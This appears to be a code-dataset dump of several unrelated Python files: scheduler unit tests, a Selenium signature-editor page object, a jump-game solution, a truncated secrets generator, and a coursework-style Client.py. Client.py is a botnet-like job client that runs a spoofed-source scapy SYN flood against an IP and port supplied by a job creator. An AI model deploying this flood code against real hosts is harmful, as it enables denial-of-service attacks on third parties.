INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n\n\"\"\"\nThis test module contains tests for the SoGE scheduler plugin.\n\"\"\"\n\ntry:\n\n from unittest import mock\n\nexcept ImportError:\n\n import mock\n\nimport pytest\n\nimport longbow.exceptions as exceptions\nfrom longbow.schedulers.soge import status\n\nout = (\"job-ID prior name user state submit/start at queue master ja-task-ID\\n\"\n \"---------------------------------------------------------------------------------------------\\n\"\n \" 20 0 sleep.sh sysadm1 h 12/23/2003 23:22:09 frontend-0 MASTER \\n\"\n \" 21 0 sleep.sh sysadm1 r 12/23/2003 23:22:09 frontend-0 MASTER \\n\"\n \" 22 0 sleep.sh sysadm1 qw 12/23/2003 23:22:06 \\n\")\n\n\n@mock.patch('longbow.shellwrappers.sendtossh')\ndef test_status_state1(mock_ssh):\n\n \"\"\"\n Test if job status is grabbed.\n \"\"\"\n\n job = {\n \"user\": \"test\",\n \"jobid\": \"20\"\n }\n\n mock_ssh.return_value = (out, \"\", 0)\n\n output = status(job)\n\n assert output == \"Held\"\n\n\n@mock.patch('longbow.shellwrappers.sendtossh')\ndef test_status_state2(mock_ssh):\n\n \"\"\"\n Test if job status is grabbed.\n \"\"\"\n\n job = {\n \"user\": \"test\",\n \"jobid\": \"21\"\n }\n\n mock_ssh.return_value = (out, \"\", 0)\n\n output = status(job)\n\n assert output == \"Running\"\n\n\n@mock.patch('longbow.shellwrappers.sendtossh')\ndef test_status_state3(mock_ssh):\n\n \"\"\"\n Test if job status is grabbed.\n \"\"\"\n\n job = {\n \"user\": \"test\",\n \"jobid\": \"22\"\n }\n\n mock_ssh.return_value = (out, \"\", 0)\n\n output = status(job)\n\n assert output == \"Queued\"\n\n\n@mock.patch('longbow.shellwrappers.sendtossh')\ndef test_status_state4(mock_ssh):\n\n \"\"\"\n Test if job status is grabbed.\n \"\"\"\n\n job = {\n \"user\": \"test\",\n \"jobid\": \"3538341\"\n }\n\n mock_ssh.return_value = (\"\", \"\", 0)\n\n output = status(job)\n\n assert output == \"Finished\"\n\n\n@mock.patch('longbow.shellwrappers.sendtossh')\ndef test_status_except1(mock_ssh):\n\n \"\"\"\n Test if SSH Error is handled.\n \"\"\"\n\n job = {\n \"user\": \"test\",\n \"jobid\": \"\"\n }\n\n mock_ssh.side_effect = exceptions.SSHError(\"OUT\", \"ERR\")\n\n with pytest.raises(exceptions.SSHError):\n\n status(job)\n","sub_path":"tests/unit/schedulers_soge/test_soge_status.py","file_name":"test_soge_status.py","file_ext":"py","file_size_in_byte":3931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"54488976","text":"# -*- coding: utf-8 -*-\nfrom base import Component\n\nfrom selenium.common.exceptions import ElementClickInterceptedException\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\n\nimport os\nimport time\n\n\nclass SignatureDeepEditingForm(Component):\n POPUP0 = '//div[@data-test-id=\"signature-edit:0-popup\"]'\n POPUP1 = '//div[@data-test-id=\"signature-edit:1-popup\"]'\n POPUP2 = '//div[@data-test-id=\"signature-edit:2-popup\"]'\n\n CANCEL0 = POPUP0 + '//span[text()=\"Отменить\"]'\n CANCEL1 = POPUP1 + '//span[text()=\"Отменить\"]'\n CANCEL2 = POPUP2 + '//span[text()=\"Отменить\"]'\n\n SAVE0 = POPUP0 + '//button[@data-test-id=\"save\"]'\n SAVE1 = POPUP1 + '//button[@data-test-id=\"save\"]'\n SAVE2 = POPUP2 + '//button[@data-test-id=\"save\"]'\n\n SENDER_NAME0 = POPUP0 + '//input[@data-test-id=\"name_input\"]'\n SENDER_NAME1 = POPUP1 + '//input[@data-test-id=\"name_input\"]'\n SENDER_NAME2 = POPUP2 + '//input[@data-test-id=\"name_input\"]'\n\n AS_DEFAULT0 = POPUP0 + '//label[@data-test-id=\"active-disabled\"]'\n AS_DEFAULT1 = POPUP1 + '//label[@data-test-id=\"active-disabled\"]'\n AS_DEFAULT2 = POPUP2 + '//label[@data-test-id=\"active-disabled\"]'\n\n EMPTY_WARNING0 = POPUP0 + '//small[text()=\"Заполните обязательное поле\"]'\n EMPTY_WARNING1 = POPUP1 + '//small[text()=\"Заполните обязательное поле\"]'\n EMPTY_WARNING2 = POPUP2 + '//small[text()=\"Заполните обязательное поле\"]'\n\n TOO_LONG_WARNING0 = POPUP0 + '//small[text()=\"Имя отправителя должно быть короче 100 символов\"] '\n TOO_LONG_WARNING1 = POPUP1 + '//small[text()=\"Имя отправителя должно быть короче 100 символов\"] '\n TOO_LONG_WARNING2 = POPUP2 + '//small[text()=\"Имя отправителя должно быть короче 100 символов\"] '\n\n FORBIDDEN_WARNING0 = POPUP0 + '//small[starts-with(text(),\"Имя отправителя\")]'\n FORBIDDEN_WARNING1 = POPUP1 + '//small[starts-with(text(),\"Имя отправителя\")]'\n FORBIDDEN_WARNING2 = POPUP2 + '//small[starts-with(text(),\"Имя отправителя\")]'\n\n # Все для тулбара\n\n EDITOR_TOOLBAR0 = POPUP0 + '//div[@data-test-id=\"editor\"]'\n EDITOR_TOOLBAR_TOOL_BOLD0 = '//div[@data-test-id=\"bold\"]'\n EDITOR_TOOLBAR_TOOL_BOLD_ACTIVE0 = '//div[@data-test-id=\"bold:active\"]'\n\n EDITOR_TOOLBAR_TOOL_ITALIC0 = '//div[@data-test-id=\"italic\"]'\n EDITOR_TOOLBAR_TOOL_ITALIC_ACTIVE0 = '//div[@data-test-id=\"italic:active\"]'\n\n EDITOR_TOOLBAR_TOOL_UNDERLINE0 = '//div[@data-test-id=\"underline\"]'\n EDITOR_TOOLBAR_TOOL_UNDERLINE_ACTIVE0 = '//div[@data-test-id=\"underline:active\"]'\n\n EDITOR_TOOLBAR_TOOL_FONT = '//div[@data-test-id=\"font\"]'\n EDITOR_TOOLBAR_TOOL_COLOR = '//div[@data-test-id=\"color\"]'\n\n EDITOR_TOOLBAR_TOOL_UNDO0 = '//div[@data-test-id=\"undo\"]'\n EDITOR_TOOLBAR_TOOL_REDO0 = '//div[@data-test-id=\"redo\"]'\n\n EDITOR_TOOLBAR_TOOL_LINK0 = '//div[@data-test-id=\"link\"]'\n EDITOR_TOOLBAR_TOOL_INLINE_INPUT0 = '//div[@data-test-id=\"inline-input\"]/button[@type=\"button\"]/input[@type=\"file\"]'\n\n EDITOR_TOOLBAR_TOOL_ALIGN0 = '//div[@data-test-id=\"align\"]'\n\n EDITOR_TOOLBAR_TOOL_ALIGN_LEFT = '//div[@data-test-id=\"left\"]'\n EDITOR_TOOLBAR_TOOL_ALIGN_RIGHT = '//div[@data-test-id=\"right\"]'\n EDITOR_TOOLBAR_TOOL_ALIGN_CENTER = '//div[@data-test-id=\"center\"]'\n\n EDITOR_TOOLBAR_TOOL_ALIGN_LEFT_ACTIVE = '//span[@data-test-id=\"left:active\"]'\n EDITOR_TOOLBAR_TOOL_ALIGN_RIGHT_ACTIVE = '//span[@data-test-id=\"right:active\"]'\n EDITOR_TOOLBAR_TOOL_ALIGN_CENTER_ACTIVE = '//span[@data-test-id=\"center:active\"]'\n\n EDITOR_TOOLBAR_TOOL_INDENT0 = '//div[@data-test-id=\"indent\"]'\n EDITOR_TOOLBAR_TOOL_INDENT_INCREASE = '//div[@data-test-id=\"increase\"]'\n EDITOR_TOOLBAR_TOOL_INDENT_DECREASE = '//div[@data-test-id=\"decrease\"]'\n\n EDITOR_TOOLBAR_TOOL_STYLE_TAB = '//span[@data-test-id=\"style-tab\"]'\n EDITOR_TOOLBAR_TOOL_FONT_TAB = '//span[@data-test-id=\"font-tab\"]'\n\n EDITOR_TOOLBAR_TOOL_FONT_HELVETICA = '//div[@data-test-id=\"Arial\"]'\n EDITOR_TOOLBAR_TOOL_STYLE_NORMAL = '//div[@data-test-id=\"normal\"]'\n\n EDITOR_TOOLBAR_TOOL_COLOR_TAB = '//span[@data-test-id=\"color-tab\"]'\n EDITOR_TOOLBAR_TOOL_BACKGROUND_TAB = '//span[@data-test-id=\"bg-tab\"]'\n\n EDITOR_TOOLBAR_TOOL_COLOR_EXAMPLE_TEXT = '//span[starts-with(text(),\"Пример оформления текста\")]'\n\n EDITOR_TOOLBAR_TOOL_ORANGE_COLOR = '//div[@data-test-id=\"rgb(243, 144, 29)\"]'\n EDITOR_TOOLBAR_TOOL_PINK_COLOR = '//div[@data-test-id=\"rgb(255, 0, 255)\"]'\n\n EDITOR_TOOLBAR_LINK_INPUT = '//input[@data-test-id=\"link\"]'\n EDITOR_TOOLBAR_LINK_TEXT_INPUT = '//form[@data-test-id=\"link-editor\"]//input[@data-test-id=\"text\"]'\n\n EDITOR_TOOLBAR_LINK_SAVE = '//form[@data-test-id=\"link-editor\"]//button[@data-test-id=\"save\"]'\n EDITOR_TOOLBAR_LINK_CANCEL = '//form[@data-test-id=\"link-editor\"]//button[@data-test-id=\"cancel\"]'\n\n EDITOR_TOOLBAR_LINK_ERROR_MESSAGE_CONTAINER = '//div[@data-test-id=\"error-footer-text\"]'\n\n # todo проверки форматирования\n EDITOR_TOOLBAR_TOOL_UNFORMAT0 = '//div[@data-test-id=\"unformat\"]'\n\n EDITOR_TEXTAREA_FIELD = '//div[@role=\"textbox\"]'\n EDITOR_ERROR_FOOTER_TEXT = '//div[@data-test-id=\"error-footer-text\"]/small[starts-with(text(),\"Подпись не должна ' \\\n 'быть длиннее 10240 символов\")] '\n\n def upload_inline_input_no_image_error_check(self, file):\n \"\"\"\n Загружаем в едитор файл и проверяем ошибки\n :param file: файл\n \"\"\"\n inline_input = WebDriverWait(self.driver, 5, 0.1).until(\n lambda d: d.find_element_by_xpath(self.EDITOR_TOOLBAR_TOOL_INLINE_INPUT0)\n )\n inline_input.send_keys(file)\n try:\n WebDriverWait(self.driver, 5, 0.1).until(EC.alert_is_present())\n alert = self.driver.switch_to.alert\n alert.accept()\n return True\n except:\n return False\n\n def test_toolbar_buttons(self, file):\n \"\"\"\n Устанавливает имя отправителя в окне редактирования первой подписи\n :param file: файл\n \"\"\"\n inline_input = WebDriverWait(self.driver, 5, 0.1).until(\n lambda d: d.find_element_by_xpath(self.EDITOR_TOOLBAR_TOOL_INLINE_INPUT0)\n )\n inline_input.send_keys(file)\n try:\n WebDriverWait(self.driver, 5, 0.1).until(EC.alert_is_present())\n alert = self.driver.switch_to.alert\n alert.accept()\n return True\n except:\n return False\n\n def test_redo(self):\n \"\"\"\n Проверка клика на redo\n \"\"\"\n button = WebDriverWait(self.driver, 5, 0.1).until(\n lambda d: d.find_element_by_xpath(self.EDITOR_TOOLBAR_TOOL_REDO0)\n )\n try:\n button.click()\n return True\n except:\n return False\n\n def test_undo(self):\n \"\"\"\n Проверка клика на undo\n \"\"\"\n button = WebDriverWait(self.driver, 5, 0.1).until(\n lambda d: d.find_element_by_xpath(self.EDITOR_TOOLBAR_TOOL_UNDO0)\n )\n try:\n button.click()\n return True\n except:\n return False\n\n def click_bold(self):\n \"\"\"\n Проверка клика на bold\n \"\"\"\n button = WebDriverWait(self.driver, 5, 0.1).until(\n lambda d: d.find_element_by_xpath(self.EDITOR_TOOLBAR_TOOL_BOLD0)\n )\n try:\n button.click()\n return True\n except:\n return False\n\n def check_is_active_bold(self):\n \"\"\"\n Проверка нажатия на bold\n \"\"\"\n try:\n button = WebDriverWait(self.driver, 5, 0.1).until(\n EC.element_to_be_clickable((By.XPATH, self.EDITOR_TOOLBAR_TOOL_BOLD_ACTIVE0))\n )\n return True\n except:\n return False\n\n def click_italic(self):\n \"\"\"\n Проверка клика на italic\n \"\"\"\n button = WebDriverWait(self.driver, 5, 0.1).until(\n lambda d: d.find_element_by_xpath(self.EDITOR_TOOLBAR_TOOL_ITALIC0)\n )\n try:\n button.click()\n return True\n except:\n return False\n\n def check_is_active_italic(self):\n \"\"\"\n Проверка клика на italic\n \"\"\"\n try:\n button = WebDriverWait(self.driver, 5, 0.1).until(\n EC.element_to_be_clickable((By.XPATH, self.EDITOR_TOOLBAR_TOOL_ITALIC_ACTIVE0))\n )\n return True\n except:\n return False\n\n def click_underline(self):\n \"\"\"\n Проверка клика на underline\n \"\"\"\n button = WebDriverWait(self.driver, 5, 0.1).until(\n lambda d: d.find_element_by_xpath(self.EDITOR_TOOLBAR_TOOL_UNDERLINE0)\n )\n try:\n # Проверка на :active\n button.click()\n return True\n except:\n return False\n\n def check_is_active_underline(self):\n \"\"\"\n Проверка нажатия на italic\n \"\"\"\n try:\n button = WebDriverWait(self.driver, 5, 0.1).until(\n EC.element_to_be_clickable((By.XPATH, self.EDITOR_TOOLBAR_TOOL_UNDERLINE_ACTIVE0))\n )\n return True\n except:\n return False\n\n def click_unformat(self):\n \"\"\"\n Проверка клика на unformat\n \"\"\"\n button = WebDriverWait(self.driver, 5, 0.1).until(\n lambda d: d.find_element_by_xpath(self.EDITOR_TOOLBAR_TOOL_UNFORMAT0)\n )\n try:\n button.click()\n return True\n except:\n return False\n\n def click_redo(self):\n \"\"\"\n Проверка клика на redo\n \"\"\"\n button = WebDriverWait(self.driver, 5, 0.1).until(\n lambda d: d.find_element_by_xpath(self.EDITOR_TOOLBAR_TOOL_REDO0)\n )\n try:\n button.click()\n return True\n except:\n return False\n\n def click_undo(self):\n \"\"\"\n Проверка клика на undo\n \"\"\"\n button = WebDriverWait(self.driver, 5, 0.1).until(\n lambda d: d.find_element_by_xpath(self.EDITOR_TOOLBAR_TOOL_UNDO0)\n )\n try:\n button.click()\n return True\n except:\n return False\n\n def click_align(self):\n \"\"\"\n Клика на undo\n \"\"\"\n button = WebDriverWait(self.driver, 5, 0.1).until(\n lambda d: d.find_element_by_xpath(self.EDITOR_TOOLBAR_TOOL_ALIGN0)\n )\n try:\n button.click()\n return True\n except:\n return False\n\n def check_align_data_list_button_center(self):\n \"\"\"\n Клик на отцентровку\n \"\"\"\n button = WebDriverWait(self.driver, 5, 0.1).until(\n lambda d: d.find_element_by_xpath(self.EDITOR_TOOLBAR_TOOL_ALIGN_CENTER)\n )\n try:\n button.click()\n return True\n except:\n return False\n\n def check_align_data_list_button_center_active(self):\n \"\"\"\n Проверка клика на отцентровку\n \"\"\"\n button = WebDriverWait(self.driver, 5, 0.1).until(\n lambda d: d.find_element_by_xpath(self.EDITOR_TOOLBAR_TOOL_ALIGN_CENTER_ACTIVE)\n )\n try:\n button.click()\n return True\n except:\n return False\n\n def check_align_data_list_button_left(self):\n \"\"\"\n Клика на левое выравнивание\n \"\"\"\n button = WebDriverWait(self.driver, 5, 0.1).until(\n lambda d: d.find_element_by_xpath(self.EDITOR_TOOLBAR_TOOL_ALIGN_LEFT)\n )\n try:\n button.click()\n return True\n except:\n return False\n\n def check_align_data_list_button_left_active(self):\n \"\"\"\n Проверка клика на undo\n \"\"\"\n try:\n button = WebDriverWait(self.driver, 5, 0.1).until(\n lambda d: d.find_element_by_xpath(self.EDITOR_TOOLBAR_TOOL_ALIGN_LEFT_ACTIVE)\n )\n button.click()\n return True\n except:\n return False\n\n def check_align_data_list_button_right(self):\n \"\"\"\n Проверка клика на undo\n \"\"\"\n button = WebDriverWait(self.driver, 5, 0.1).until(\n lambda d: d.find_element_by_xpath(self.EDITOR_TOOLBAR_TOOL_ALIGN_RIGHT)\n )\n try:\n button.click()\n return True\n except:\n return False\n\n def check_align_data_list_button_right_active(self):\n \"\"\"\n Проверка клика на undo\n \"\"\"\n button = WebDriverWait(self.driver, 5, 0.1).until(\n lambda d: d.find_element_by_xpath(self.EDITOR_TOOLBAR_TOOL_ALIGN_RIGHT_ACTIVE)\n )\n try:\n button.click()\n return True\n except:\n return False\n\n def click_indent(self):\n \"\"\"\n Проверка клика на indent\n \"\"\"\n try:\n button = WebDriverWait(self.driver, 5, 0.1).until(\n lambda d: d.find_element_by_xpath(self.EDITOR_TOOLBAR_TOOL_INDENT0)\n )\n button.click()\n return True\n except:\n return False\n\n def check_indent_increase(self):\n \"\"\"\n Проверка клика на increase\n \"\"\"\n try:\n button = WebDriverWait(self.driver, 5, 0.1).until(\n lambda d: d.find_element_by_xpath(self.EDITOR_TOOLBAR_TOOL_INDENT_INCREASE)\n )\n button.click()\n return True\n except:\n return False\n\n def check_indent_decrease(self):\n \"\"\"\n Клика на decrease\n \"\"\"\n try:\n button = WebDriverWait(self.driver, 5, 0.1).until(\n lambda d: d.find_element_by_xpath(self.EDITOR_TOOLBAR_TOOL_INDENT_DECREASE)\n )\n button.click()\n return True\n except:\n return False\n\n def click_font(self):\n \"\"\"\n Проверка клика на font\n \"\"\"\n button = WebDriverWait(self.driver, 5, 0.1).until(\n lambda d: d.find_element_by_xpath(self.EDITOR_TOOLBAR_TOOL_FONT)\n )\n try:\n button.click()\n return True\n except:\n return False\n\n def click_tab_font(self):\n \"\"\"\n Проверка клика на font\n \"\"\"\n\n button = WebDriverWait(self.driver, 5, 0.1).until(\n lambda d: d.find_element_by_xpath(self.EDITOR_TOOLBAR_TOOL_FONT_TAB)\n )\n try:\n button.click()\n return True\n except:\n return False\n\n def click_tab_font_helvetica(self):\n \"\"\"\n Клика на шрифт helvetica\n \"\"\"\n\n button = WebDriverWait(self.driver, 5, 0.1).until(\n lambda d: d.find_element_by_xpath(self.EDITOR_TOOLBAR_TOOL_FONT_HELVETICA)\n )\n try:\n button.click()\n return True\n except:\n return False\n\n def click_tab_style(self):\n \"\"\"\n Клик на font\n \"\"\"\n button = WebDriverWait(self.driver, 5, 0.1).until(\n lambda d: d.find_element_by_xpath(self.EDITOR_TOOLBAR_TOOL_STYLE_TAB)\n )\n try:\n button.click()\n return True\n except:\n return False\n\n def click_tab_style_normal(self):\n \"\"\"\n Клик на стиль normal\n \"\"\"\n\n button = WebDriverWait(self.driver, 5, 0.1).until(\n lambda d: d.find_element_by_xpath(self.EDITOR_TOOLBAR_TOOL_STYLE_NORMAL)\n )\n try:\n button.click()\n return True\n except:\n return False\n\n def click_button_color(self):\n \"\"\"\n Клика на color для перехода на табы\n \"\"\"\n button = WebDriverWait(self.driver, 5, 0.1).until(\n lambda d: d.find_element_by_xpath(self.EDITOR_TOOLBAR_TOOL_COLOR)\n )\n try:\n button.click()\n return True\n except:\n return False\n\n def click_button_color_tab_color(self):\n \"\"\"\n Клика на таб цвета\n \"\"\"\n button = WebDriverWait(self.driver, 5, 0.1).until(\n lambda d: d.find_element_by_xpath(self.EDITOR_TOOLBAR_TOOL_COLOR_TAB)\n )\n try:\n button.click()\n return True\n except:\n return False\n\n def click_button_color_tab_background(self):\n \"\"\"\n Клика на таб фона\n \"\"\"\n button = WebDriverWait(self.driver, 5, 0.1).until(\n lambda d: d.find_element_by_xpath(self.EDITOR_TOOLBAR_TOOL_BACKGROUND_TAB)\n )\n try:\n button.click()\n return True\n except:\n return False\n\n def click_color_tab_orange_color(self):\n \"\"\"\n Клик на оранджевый цвет для текста\n \"\"\"\n button = WebDriverWait(self.driver, 5, 0.1).until(\n lambda d: d.find_element_by_xpath(self.EDITOR_TOOLBAR_TOOL_ORANGE_COLOR)\n )\n try:\n button.click()\n return True\n except:\n return False\n\n def click_color_tab_pink_color(self):\n \"\"\"\n Клик на розовый цвет для фона\n \"\"\"\n button = WebDriverWait(self.driver, 5, 0.1).until(\n lambda d: d.find_element_by_xpath(self.EDITOR_TOOLBAR_TOOL_PINK_COLOR)\n )\n try:\n button.click()\n return True\n except:\n return False\n\n def get_color_of_text(self):\n \"\"\"\n Проверка клика на фон\n \"\"\"\n text = WebDriverWait(self.driver, 5, 0.1).until(\n lambda d: d.find_element_by_xpath(self.EDITOR_TOOLBAR_TOOL_COLOR_EXAMPLE_TEXT)\n )\n return text.value_of_css_property('color')\n\n def get_color_of_background(self):\n \"\"\"\n Проверка клика на фон\n \"\"\"\n text = WebDriverWait(self.driver, 5, 0.1).until(\n lambda d: d.find_element_by_xpath(self.EDITOR_TOOLBAR_TOOL_COLOR_EXAMPLE_TEXT)\n )\n return text.value_of_css_property('background-color')\n\n def click_button_link(self):\n \"\"\"\n Проверка клика на link\n \"\"\"\n button = WebDriverWait(self.driver, 5, 0.1).until(\n lambda d: d.find_element_by_xpath(self.EDITOR_TOOLBAR_TOOL_LINK0)\n )\n try:\n button.click()\n return True\n except:\n return False\n\n def set_toolbar_link(self, text):\n \"\"\"\n Ввод ссылки\n \"\"\"\n try:\n link = WebDriverWait(self.driver, 5, 0.1).until(\n lambda d: d.find_element_by_xpath(self.EDITOR_TOOLBAR_LINK_INPUT)\n )\n link.send_keys(text)\n return True\n except:\n return False\n\n def set_toolbar_link_text(self, text):\n \"\"\"\n Ввод текста ссылки\n \"\"\"\n try:\n link = WebDriverWait(self.driver, 5, 0.1).until(\n lambda d: d.find_element_by_xpath(self.EDITOR_TOOLBAR_LINK_TEXT_INPUT)\n )\n link.send_keys(text)\n return True\n except:\n return False\n\n def click_toolbar_link_save(self):\n \"\"\"\n Сохранение ссылки\n \"\"\"\n button = WebDriverWait(self.driver, 5, 0.1).until(\n lambda d: d.find_element_by_xpath(self.EDITOR_TOOLBAR_LINK_SAVE)\n )\n try:\n button.click()\n return True\n except:\n return False\n\n def click_toolbar_link_cancel(self):\n \"\"\"\n Отмена добавления ссылки\n \"\"\"\n button = WebDriverWait(self.driver, 5, 0.1).until(\n lambda d: d.find_element_by_xpath(self.EDITOR_TOOLBAR_LINK_CANCEL)\n )\n try:\n button.click()\n return True\n except:\n return False\n\n def toolbar_link_check_no_warning(self):\n \"\"\"\n Проверка наличия ворнинга о некорректной ссылке\n \"\"\"\n try:\n warining = WebDriverWait(self.driver, 2, 0.1).until(\n lambda d: d.find_element_by_xpath(self.EDITOR_ERROR_FOOTER_TEXT)\n )\n return True\n except:\n return False\n\n def set_text_to_textarea(self, text):\n \"\"\"\n Добавление текста в текстовый блок\n \"\"\"\n try:\n textarea = WebDriverWait(self.driver, 2, 0.1).until(\n lambda d: d.find_element_by_xpath(self.EDITOR_TEXTAREA_FIELD)\n )\n textarea.send_keys(text)\n return True\n except:\n return False\n\n def save_signature(self):\n \"\"\"\n Проверка сохранения\n \"\"\"\n try:\n button = WebDriverWait(self.driver, 2, 0.1).until(\n lambda d: d.find_element_by_xpath(self.SAVE0)\n )\n button.click()\n return True\n except:\n return False\n","sub_path":"components/signature_form_editing.py","file_name":"signature_form_editing.py","file_ext":"py","file_size_in_byte":22023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"55629936","text":"class Solution(object):\n def jump(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n # # BFS: 计算效率很低\n # n = len(nums)\n # if n <= 1:\n # return 0\n # layer = [0]\n # cnt = 1\n # while layer:\n # next_layer = set()\n # layer.sort(reverse=True)\n # for index in layer:\n # num = nums[index]\n # distance = num\n # while distance > 0:\n # right_most = distance + index\n # if right_most >= n - 1:\n # return cnt\n # next_layer.add(right_most)\n # distance -= 1\n # layer = list(next_layer)\n # cnt += 1\n # return cnt\n\n # 贪心\n n = len(nums)\n max_pos, end, step = 0, 0, 0\n for i in range(n-1):\n max_pos = max(max_pos, nums[i] + i)\n if i == end:\n end = max_pos\n step += 1\n return step\n\n\nsolution = Solution()\nnums = [2,3,1,1,4]\nprint(solution.jump(nums))\n","sub_path":"Week_04/jump.py","file_name":"jump.py","file_ext":"py","file_size_in_byte":1132,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"504445436","text":"# written by Jack Pistagnesi\n\nimport socket\nimport time\nfrom scapy.all import *\nfrom scapy.layers.inet import IP\nfrom scapy.layers.inet import TCP\nfrom icmplib import ping\n\n# create socket\nclient = socket.socket()\n\n# get ip\nhost = socket.gethostname()\nhostip = socket.gethostbyname(host)\n\n# connect to server\nclient.connect((hostip, 4321))\n\n# Loop until either 'create' for job creator or 'seek' for job seeker is typed\nprint(\"Would you like this client to be a Job Creator or Job Seeker? Type 'create' or 'seek': \")\nwhile 1:\n data = input()\n if data == \"create\":\n print(\"To enter a message to send, type anything\\nTo request to check if Host is online, type 'ipcheck'\\n\" +\n \"To request to check the hosts status, type 'portstatus'\\n\" +\n \"To request job seekers to start a TCP flood attack, type 'tcpAttack'\\n\" +\n \"To request job seekers to start a ICMP flood attack, type 'icmpAttack'\\n\")\n # Constant loop that lets job creators send jobs and the job details (IP and port# for TCP Attack etc.) to the server\n while 1:\n data = input()\n\n if data == \"tcpAttack\":\n print(\"Give the port used for the attack: \")\n attackPort = input()\n print(\"Give the IP address you want to attack: \")\n attackIP = input()\n client.sendall(data.encode('ascii', 'strict'))\n time.sleep(1)\n client.sendall(attackPort.encode('ascii', 'strict'))\n time.sleep(1)\n client.sendall(attackIP.encode('ascii', 'strict'))\n\n elif data == \"icmpAttack\":\n print(\"Give the IP address you want to attack: \")\n attackIP = input()\n client.sendall(data.encode('ascii', 'strict'))\n time.sleep(1)\n client.sendall(attackIP.encode('ascii', 'strict'))\n\n else:\n client.sendall(data.encode('ascii', 'strict'))\n received = client.recv(1024).decode('ascii', 'strict')\n print(received)\n\n elif data == \"seek\":\n\n # constant loop that keeps job seekers looking for new jobs\n while 1:\n print(\"Waiting for job...\")\n received = client.recv(1024).decode('ascii', 'strict')\n\n if received == \"tcpAttack\":\n attackPort = client.recv(1024).decode('ascii', 'strict')\n attackIP = client.recv(1024).decode('ascii', 'strict')\n print(\"TCP flooding for 5 seconds...\")\n t = time.time() + 5\n\n try:\n while time.time() < t:\n packet = IP(src=RandIP(), dst=attackIP) / TCP(sport=1234, dport=int(attackPort), seq=1505066,\n flags=\"S\")\n send(packet) # If an error appears when running tcpAttack try typing 'net start npcap' in\n # administrator console\n print(\"5 second TCP flood attack done\")\n except Exception:\n print(\"Attack failed. Looks like something went wrong with the given IP or Port.\")\n pass\n\n elif received == \"icmpAttack\":\n IPtoPing = client.recv(1024).decode('ascii', 'strict')\n numOfPing = 2\n intervalOfPing = 5\n timeout = 60\n\n try:\n pingData = ping(IPtoPing, numOfPing, intervalOfPing, timeout)\n print(\"Ping address: \", pingData.address,\n \"\\nPKTs Sent: \", pingData.packets_sent,\n \"\\nPKTs Received: \", pingData.packets_received,\n \"\\nIs Alive: \", pingData.is_alive)\n except Exception:\n print(\"Attack failed. Looks like something went wrong with the given IP.\")\n pass\n\n else:\n print(received)\n if input() == \"quit\":\n break\n else:\n print(\"Wrong input. Either type 'create' or 'seek':\")\n","sub_path":"Question2Part2_and_Previous_Questions/Client.py","file_name":"Client.py","file_ext":"py","file_size_in_byte":4169,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"73177260","text":"\"\"\"Secrets Generator.\n\nUsage:\n secgen [options] create-sgs [-f ]\n secgen [options] create [-n ] (--sgs= | --sgs-file=) [-f ]\n secgen [options] validate (--sgs= | --sgs-file=) [-f ]\n secgen -h | --help\n secgen --version\n\nOptions:\n -h, --help Show this screen.\n -f , --file= file to use instead of STDOUT / STDIN.\n -n How many to create [default: 1]\n -v, --verbose Be verbose in describing what's happening\n\"\"\"\n# WARNING: Avoid tabs in the docstring, they distress the docopt parser\n\n__version__ = '0.1'\n\nimport hashlib\nimport json\nimport os\nimport sys\nfrom binascii import hexlify, unhexlify\nfrom docopt import docopt\n\n\ndef hashit(*args):\n m = hashlib.sha256()\n for v in args:\n if isinstance(v, str):\n v = v.encode('UTF8')\n m.update(v)\n return m.digest()\n\nclass SecretAgent:\n def __init__(self, sgs=None):\n self.sgs = sgs\n\n def load_secret_generating_secret(self, f):\n d = json.load(f)\n self.sgs = unhexlify(d['secret'])\n\n def save_secret_generating_secret(self, f):\n json.dump({ 'secret': hexlify(self.sgs).decode('ASCII') }, f)\n f.write('\\n')\n\n def hint_secret(self):\n # Generate a random (hint, shared_secret) pair\n hint = os.urandom(32)\n return hint, hashit(self.sgs, 'to produce a secret from a hint', hint)\n\n def validate_hint_secret(self, hint, secret):\n return secret == hashit(self.sgs, 'to produce a secret from a hint', hint)\n\n def json_ready_hint_secret(self):\n return tuple(hexlify(v).decode('ASCII') for v in self.hint_secret())\n\ndef main():\n args = docopt(__doc__, version=__version__)\n if args['--verbose']:\n print(args)\n\n if args['--sgs']:\n sa = SecretAgent(unhexlify(args['--sgs']))\n if args['--sgs-file']:\n sa.load_secret_generating_secret(open(args['--sgs-file']))\n\n if args['create-sgs'] or args['create']:\n outf = args['--file'] and open(args['--file'], 'w') or sys.stdout\n if args['create-sgs']:\n sa.sgs = os.urandom(32)\n sa.save_secret_generating_secret(outf)\n elif args['create']:\n hinted_secrets = list(sa.json_ready_hint_secret() for i in range(int(args['-n'])))\n json.dump(hinted_secrets, outf, indent=2)\n outf.write('\\n')\n outf.flush()\n\n elif args['validate']:\n inf = args['--file'] and open(args['--file'], 'r') or sys.stdin\n hinted_secrets = [map(unhexlify, t) for t in json.load(inf)]\n n_good = sum(1 for h,s in hinted_secrets if sa.validate_hint_secret(h, s))\n n_hs = 